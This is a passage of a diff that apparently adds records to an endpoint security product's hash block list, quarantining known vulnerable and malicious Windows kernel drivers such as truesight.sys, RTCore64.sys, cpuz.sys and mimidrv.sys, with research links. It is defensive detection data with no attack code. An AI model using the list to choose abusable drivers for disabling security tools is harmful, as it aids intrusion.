+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9dfecd7-5ed1-5725-9c40-6c7365cdba9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142830Z",
+  "creation_date": "2026-03-23T11:45:32.142833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8bdfab9d5b5c37f6f23ddf9dddba2feb74261b61a80dee0c6aebffbf39948fb",
+  "comment": "Vulnerable ITM SYSTEM File Filter Driver (aka probmon.sys) [https://antonioparata.blogspot.com/2024/02/exploiting-vulnerable-minifilter-driver.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9e36ec0-fabf-5571-a2f8-f6977827bb46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824661Z",
+  "creation_date": "2026-03-23T11:45:30.824664Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb1db36d8465baecf79e37e992f7552749503b942c76c4138cb39e0f86e5fbff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9e740d1-0681-5f4e-b576-0a6297a7ebdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815993Z",
+  "creation_date": "2026-03-23T11:45:30.815995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816001Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "270547552060c6f4f5b2ebd57a636d5e71d5f8a9d4305c2b0fe5db0aa2f389cc",
+  "comment": "Vulnerable Kernel Driver (aka ecsiodriverx64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9e85c60-cf67-5de8-89a7-08b835fc6a12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477849Z",
+  "creation_date": "2026-03-23T11:45:30.477853Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477862Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad5418a4b5edf1c963da343b1bdba14fac9e8ee49489b2f35136c4aebc9540b8",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9f10145-f570-5291-9210-5774fc338d5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828962Z",
+  "creation_date": "2026-03-23T11:45:31.828965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828973Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11cc3b62ab1db95187a0d65c321b6514f53757b50a46be0a0d9dc13d98d58d01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba068929-f5c9-5951-965d-e0b1586784d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809263Z",
+  "creation_date": "2026-03-23T11:45:31.809266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809275Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "534915d8e06cf020f0bfa567c425fa206a3d0c175d10a6f039e4da2eb37740cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba0d2233-4af7-5069-a3e0-9a0874a50878",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821393Z",
+  "creation_date": "2026-03-23T11:45:31.821395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa755a932255ccdc3e40f3d9db14c8c53dd15ec43f678e88262a3a6d29be0865",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba118ba8-3db7-5b85-8788-97e7291f64fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818941Z",
+  "creation_date": "2026-03-23T11:45:30.818943Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818955Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3577eeb107de6a0cdf6ac3ee75339f09fd0eb00b4d368bf841b6126af7629a1",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba1da611-e3fa-5321-9875-b634c4b8c736",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826747Z",
+  "creation_date": "2026-03-23T11:45:31.826749Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b306a86b99f6e6273e920e5ee29a0f1eb2aa54074af3369b0c3fef86452694a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba21f595-85d5-55fc-9a21-abf3b7c737e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822945Z",
+  "creation_date": "2026-03-23T11:45:31.822956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822964Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a6f2532148a28855b741f3246162f58b940c8b4c3f7a218abcd029c624595e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba28b337-ca8f-5d88-84d4-b24409b7e2e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818381Z",
+  "creation_date": "2026-03-23T11:45:31.818384Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b1a3223f2a0e5468ee5ea9250747abb91ad144e529d12298ed406498e2b6949",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba28b817-6ea9-511a-a026-114097d1c7ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475314Z",
+  "creation_date": "2026-03-23T11:45:31.475318Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7eb0e8be6426ef7337546df5dac9ec682ac3ecfe75739a777fe79a677d935783",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba4950e5-1616-5b71-befb-9b57f8e647b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607311Z",
+  "creation_date": "2026-03-23T11:45:29.607313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a10b4ed33a13c08804da8b46fd1b7bd653a6f2bb65668e82086de1940c5bb5d1",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba4f15ac-920c-524e-b30d-4de6ff7c57ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982289Z",
+  "creation_date": "2026-03-23T11:45:29.982291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982297Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cc9ba2df7b9ea6bb17ee342898edd7f54703b93b6ded6a819e83a7ee9f938b4",
+  "comment": "Vulnerable Kernel Driver (aka SSPORT.sys) [https://www.loldrivers.io/drivers/c854b612-0b9f-4fc3-a7b8-a93bed7a291e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba510417-661d-50bf-827d-c10ffa880ee2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821503Z",
+  "creation_date": "2026-03-23T11:45:31.821505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83b05582efd8cc9bc6ecf5d93e4f86ea8c3e6aeca5bd1d77baa2954924493cb0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba5795e9-dddf-5fe9-bcab-66536ffb8f15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474062Z",
+  "creation_date": "2026-03-23T11:45:30.474065Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dadbd564c4fec1cb6a3e2be92031f22b1ddd19796d5d9639bffb927599c69a8d",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba5caa18-d697-58fe-807a-38def385a2e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985814Z",
+  "creation_date": "2026-03-23T11:45:29.985816Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985821Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad938d15ecfd70083c474e1642a88b078c3cea02cdbddf66d4fb1c01b9b29d9a",
+  "comment": "Malicious Kernel Driver (aka NQrmq.sys) [https://www.virustotal.com/gui/file/ad938d15ecfd70083c474e1642a88b078c3cea02cdbddf66d4fb1c01b9b29d9a] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba5ee5c0-6a3f-55cb-81ce-3728252362d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614718Z",
+  "creation_date": "2026-03-23T11:45:29.614720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9529efb1837b1005e5e8f477773752078e0a46500c748bc30c9b5084d04082e6",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba5f1ea8-cd37-5d52-9788-48abb875c686",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148660Z",
+  "creation_date": "2026-03-23T11:45:31.148661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "356851d609ce4becafec5ea6fd7548d25d6cc9e711d03d2d6a6513a30480a0ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba6007ff-6a13-5571-b09a-d572966b0cc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483891Z",
+  "creation_date": "2026-03-23T11:45:31.483895Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e9f19cb357291cc073b6396ec5cea5093daa2d47332b44fed69d9b904c21dc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba734b3c-b826-5902-abc9-344346ee150a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478125Z",
+  "creation_date": "2026-03-23T11:45:31.478129Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b6cc38c48e21cbb8320efaa3720e61521c35f9b1e2d6e28c081f1a9eff4bff3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ba80a52f-815a-5fb3-8806-3467e244e7d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470371Z",
+  "creation_date": "2026-03-23T11:45:30.470375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470383Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c9f431814cd58365468ac63ba8b6693c3dd2a2b3ef37b23e5d80d75083b784d",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
